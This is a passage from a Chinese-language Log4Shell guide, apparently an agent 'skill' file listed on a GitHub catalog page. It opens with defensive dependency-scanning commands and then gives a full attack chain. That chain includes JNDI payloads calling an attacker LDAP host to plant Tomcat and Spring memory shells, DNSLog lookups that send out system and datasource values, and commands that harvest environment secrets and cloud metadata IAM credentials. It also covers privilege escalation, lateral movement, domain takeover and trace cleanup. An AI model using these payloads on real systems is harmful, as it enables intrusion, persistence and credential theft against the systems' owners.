| 消息 Lookup JNDI | 2.14.1 及以下 | CVE-2021-44228 本体 |
| 配置 Lookup JNDI | 2.15.0 + ctx 模板 | CVE-2021-45046 |
| JDBCAppender | 配置可控 | CVE-2021-44832 |
| JMSAppender | 1.x + 配置可控 | CVE-2021-4104 |
| 反序列化 Gadget | 本地依赖 | 与 JNDI 服务器返回序列化数据组合 |
| 日志写入→日志分析平台投毒 | 日志管道 | 攻击日志中继链(SIEM/Logstash 二次利用) |
九、供应链场景与依赖排查
9.1 间接依赖引入(最隐蔽的暴露面)
# 典型路径:
# 1. 自研 jar 依赖 → 传递依赖引入 log4j-core(Maven 依赖树排查)
mvn dependency:tree -Dincludes=org.apache.logging.log4j
# 2. 第三方 SDK/中间件内置 log4j(老版本厂商包)
# 例:Strimzi/Kafka 生态、IBM 容器备份等均曾携带漏洞版
# 3. fat-jar/shaded jar 内嵌 log4j 类(class 路径无 jar 文件,zip 排查法失效)
# 4. 构建产物/部署包残留:webapps/lib、tomcat/lib、docker 镜像层
9.2 打包与构建产物中的残留
# 全盘 jar 排查(含 fat-jar 内嵌)
find / -name "log4j-core*.jar" 2>/dev/null
# fat-jar 内嵌检测(unzip 列出嵌套 jar)
for f in $(find / -name "*.jar"); do unzip -l "$f" 2>/dev/null | grep -q "log4j-core" && echo "$f"; done
# 二进制 class 特征检测(针对 shaded/uber jar)
# log4j-detector 工具
java -jar log4j-detector.jar --paths /path/to/app
# 容器镜像排查
docker run --rm -v /var/run/docker.sock:/var/run/docker.sock aquasec/trivy image <image> --severity CRITICAL
9.3 厂商产品与云原生排查
- 厂商安全公告矩阵(VMware/Cisco/Fortinet/IBM 等均有 log4j 公告页面)
- 云服务:托管中间件/大数据组件(ES/Kafka/Spark/Flink)的控制面与数据面
- SBOM 建设:对产线依赖生成 SBOM,CVE 爆发时 10 分钟内完成影响面盘点
- 运行时检测:RASP/EDR 监测 JndiLookup 类加载与出站 1389/1099 连接
9.4 排查方法优先级
1. 仓库依赖清单(pom.xml/build.gradle/package 锁文件)→ 直接命中
2. 运行产物扫描(jar/fat-jar/镜像层)→ 兜底
3. 运行时动态验证(DNSLog 探测真实环境)→ 确认是否可利用
4. 攻击面收口:无法确认的组件按最坏情况处理(视为存在漏洞)
十、Log4Shell→RCE→内网渗透完整链
10.1 攻击链全景
侦察(指纹/版本/JDK)→ 探测(DNSLog 确认注入点)→ 利用(JNDI 链选择)
→ 验证 RCE(回显/DNS/时间)→ 权限提升 → 持久化(内存马)
→ 信息收集 → 凭据提取 → 横向移动 → 域渗透/云利用 → 痕迹清理
10.2 权限提升
# Log4Shell RCE 通常为应用服务权限,提权思路:
1. 内核漏洞(脏牛/OverlayFS 等,注意目标 OS 版本)
2. SUID 滥用 / sudo 配置错误
3. 容器逃逸:privileged 容器 → host 文件系统挂载
4. 云实例元数据服务(169.254.169.254)→ IAM 提权/横向
5. 应用内提权:配置文件中的高权限账号(DB/Redis/Admin)
10.3 持久化(内存马)
# 内存马优势:无文件落地、随进程存活、重启失效需重打
${jndi:ldap://attacker:1389/TomcatMemShell1} # Tomcat Filter 内存马
${jndi:ldap://attacker:1389/TomcatMemShell2} # Tomcat Servlet 内存马
${jndi:ldap://attacker:1389/SpringMemShell} # Spring Controller 内存马
# 自定义路径与密钥(隐蔽访问)
${jndi:ldap://attacker:1389/TomcatMemShell1?path=/api/v1/health&pass=key123}
# 访问:GET /api/v1/health?pass=key123&cmd=whoami
# 工具配套:冰蝎/哥斯拉(加密流量)、Suo5(高性能隧道)
# 备选:WebShell 落盘(Web 目录可写时)、计划任务/服务(系统权限时)
10.4 信息收集与凭据提取
# 系统信息(Lookup 外带 + RCE 命令)
${jndi:ldap://${sys:os.name}.${sys:os.arch}.${sys:user.name}.dnslog.cn}
id; uname -a; hostname; ip addr
# 应用信息
${jndi:ldap://${spring:spring.datasource.url}.dnslog.cn}
env | grep -iE 'pass|key|token|secret'
find / -name "*.properties" -o -name "*.yml" 2>/dev/null | xargs grep -il "password"
# 凭据提取重点
1. 配置文件(datasource/redis/mq/ldap 口令)
2. 环境变量(云厂商 AK/SK、JWT、API Key)
3. 内存(Tomcat/Spring 内存口令、连接池凭据)
4. 密钥管理服务(Vault/KMS/云 Secrets Manager)
5. 浏览器/客户端存储(若涉终端)
10.5 横向移动
1. 内网扫描:nmap/masscan 经代理(frp/nps/Suo5 隧道)
2. 复用 Log4Shell:内网其他 Java 系统批量探测(Log4j 常扎堆出现)
3. 组合漏洞:Redis 未授权/SMB/MySQL 弱口令/Spring Actuator
4. 域渗透:BloodHound 枚举 → Kerberoast/AS-REP → 提权至域管
5. 数据与关键资产:数据库/备份/核心业务系统
10.6 云环境利用
# 拿到 Pod/VM 权限后:
1. 元数据服务:curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# AWS/Aliyun/Tencent 均存在,注意 IMDSv2 需 token
2. 云厂商 API 利用 AK/SK(OSS 列举、实例接管、RDS 导出)
3. K8s 场景:serviceaccount token → kubelet/APIServer 提权 → 集群接管
4. 容器逃逸 + 宿主机制服 → 云账户横向
Shortened here. Read the whole file on GitHub.
Signals
- GitHub stars
- 115
- Forks
- 4
- Last commit
- Sep 2026
Advanced
- Catalog kind
- skill
- Gateway key
log4shell-exploitation- Source
- github.com/langbyyi/cyberstrikeai-src